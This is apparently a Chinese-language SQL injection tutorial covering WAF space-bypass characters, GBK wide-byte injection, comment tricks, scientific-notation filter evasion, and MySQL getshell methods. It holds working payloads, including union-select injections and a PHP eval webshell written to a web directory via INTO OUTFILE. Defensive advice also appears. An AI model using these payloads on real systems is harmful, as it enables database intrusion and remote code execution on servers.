SQL注入扩展知识
空格绕过字符对照表
当 WAF 或过滤器拦截空格时,可使用以下字符替代:
| URL编码 | 实际字符 | 说明 |
|---|---|---|
| %20 | 空格 | 标准空格字符 |
| %09 | Tab (\t) | 水平制表符 |
| %0a | 换行 (\n) | 换行符 |
| %0b | 垂直制表符 | 垂直制表 |
| %0c | 换页符 | 换页符 |
| %0d | 回车 (\r) | 回车符 |
| %a0 | 不间断空格 | NBSP,常见绕过字符 |
| %00 | 空字节 | 截断字符 |
| + | 空格 | URL中+解码为空格 |
| /!/ | 内联注释 | MySQL特有语法 |
示例:
1 | SELECT%0a*%0aFROM%0ausers%0aWHERE%0aid=1 |
MySQL 支持的编码方式
常用编码:
| 编码名称 | 说明 | 字节长度 |
|---|---|---|
| utf8 | MySQL 的”伪 UTF-8”,最多3字节 | 1-3 字节 |
| utf8mb4 | 真正的 UTF-8,支持 Emoji | 1-4 字节 |
| gbk | 简体中文编码 | 1-2 字节 |
| gb2312 | 简体中文编码(GBK子集) | 1-2 字节 |
| big5 | 繁体中文编码 | 1-2 字节 |
| latin1 | MySQL 默认编码,单字节 | 1 字节 |
| binary | 二进制编码 | 1 字节 |
| ascii | ASCII 编码 | 1 字节 |
查看与设置编码:
1 | SHOW VARIABLES LIKE 'character_set%'; |
宽字节编码风险:
| 编码 | 风险等级 | 说明 |
|---|---|---|
| GBK | 高 | 双字节编码,常见于中文环境 |
| GB2312 | 高 | GBK 子集,同样存在风险 |
| Big5 | 高 | 繁体中文编码 |
| Shift-JIS | 中 | 日文编码 |
安全建议:生产环境推荐使用
utf8mb4编码。
宽字节注入
宽字节注入源于 GBK/GB2312 等双字节编码与 PHP 的 addslashes()、magic_quotes_gpc 等转义机制的冲突。
PHP 使用 addslashes() 对单引号 ' 转义为 \',即 %5c%27。
在 GBK 编码下,两个字节组成一个汉字。若第一个字节高位为 1(即 >= 0x81),则与下一字节组成汉字。
核心原理: 当我们输入 %df' 时:
- 被转义为
%df%5c%27 - GBK 解码时,
%df%5c组成汉字「運」 - 单引号
%27被释放,成功闭合
利用条件:
- 数据库使用 GBK/GB2312/Big5 等宽字节编码
- 使用了
addslashes()或类似转义函数
示例:
1 | id=1%df' and 1=1--+ |
防御措施:
- 使用 UTF-8 编码
- 使用
mysql_real_escape_string()而非addslashes() - 设置
mysql_set_charset('utf8')
注释符详解
– 注释符
-- 是 SQL 标准注释符,注释从 -- 到行末的内容。
注意:
--后必须跟一个空格才能生效,否则可能被解析为减法运算。
1 | SELECT * FROM users WHERE id=1 -- AND name='test' |
–+ 注释符
--+ 是 -- 加上 URL 编码的空格 +。在 URL 注入中,-- 后的空格容易被省略,使用 --+ 确保注释生效:
1 | id=1' union select 1,2,3--+ |
解码后:--(两个横杠加空格)
%23 注释符
%23 是 # 的 URL 编码。# 是 MySQL 特有的单行注释符。
1 | SELECT * FROM users WHERE id=1# AND name='test' |
注释符对比:
| 注释符 | 范围 | 数据库支持 |
|---|---|---|
| – | 到行末 | 标准 SQL |
| # | 到行末 | MySQL |
| /* */ | 多行 | 标准 SQL |
%00 空字节注释
%00 是空字节(NULL 字节),在 C 语言中标记字符串结束。
原理:PHP 底层使用 C 语言,遇到
%00会截断字符串。
限制条件:
- PHP < 5.3.4 版本中有效
- 受
magic_quotes_gpc影响 - 主要在 Windows 环境下有效(文件路径截断)
1 | id=1' and 1=1%00 |
注意:现代 PHP 版本已修复此问题,%00 注释在 SQL 注入中较少使用,更多用于文件包含漏洞。
科学计数法利用
边界匹配绕过
当 WAF 使用正则匹配数值边界时,科学计数法可绕过检测。
示例场景:WAF 规则
\b\d+\b匹配整数
1 | id=1e0 union select 1,2,3 |
1e0 不被 \b\d+\b 匹配,但 MySQL 会将其解析为数值 1。
其他利用:
比较运算:
1 | SELECT * FROM users WHERE id=1e0 |
注入点:
1 | id=1e0' union select 1,2,3--+ |
MySQL Getshell
into outfile 写入
条件:
- 拥有 FILE 权限(
secure_file_priv不为 NULL) - 知道网站绝对路径
- MySQL 用户有写入权限
查看权限:
1 | SHOW VARIABLES LIKE 'secure_file_priv'; |
| 值 | 含义 |
|---|---|
| NULL | 禁止导入导出 |
| 空 | 无限制 |
| 路径 | 仅允许该路径 |
写入 WebShell:
1 | SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php' |
区别:
INTO OUTFILE会转义换行符;INTO DUMPFILE原样写入,适合写入二进制文件
日志写入
当 secure_file_priv 限制时,可通过 MySQL 日志写入。
条件:
- 需要写入权限
- 知道网站路径
general_log可开启
步骤:
1 | SHOW VARIABLES LIKE 'general_log'; |
UDF 提权
通过上传自定义动态链接库执行系统命令。
条件:
- MySQL 有写入权限
- 知道 plugin 目录路径
步骤:
1 | SELECT @@plugin_dir; |
防御建议:
- 设置
secure_file_priv = NULL - 限制 MySQL 用户权限
- 禁止 Web 目录写入权限
- 关闭
general_log或限制日志路径


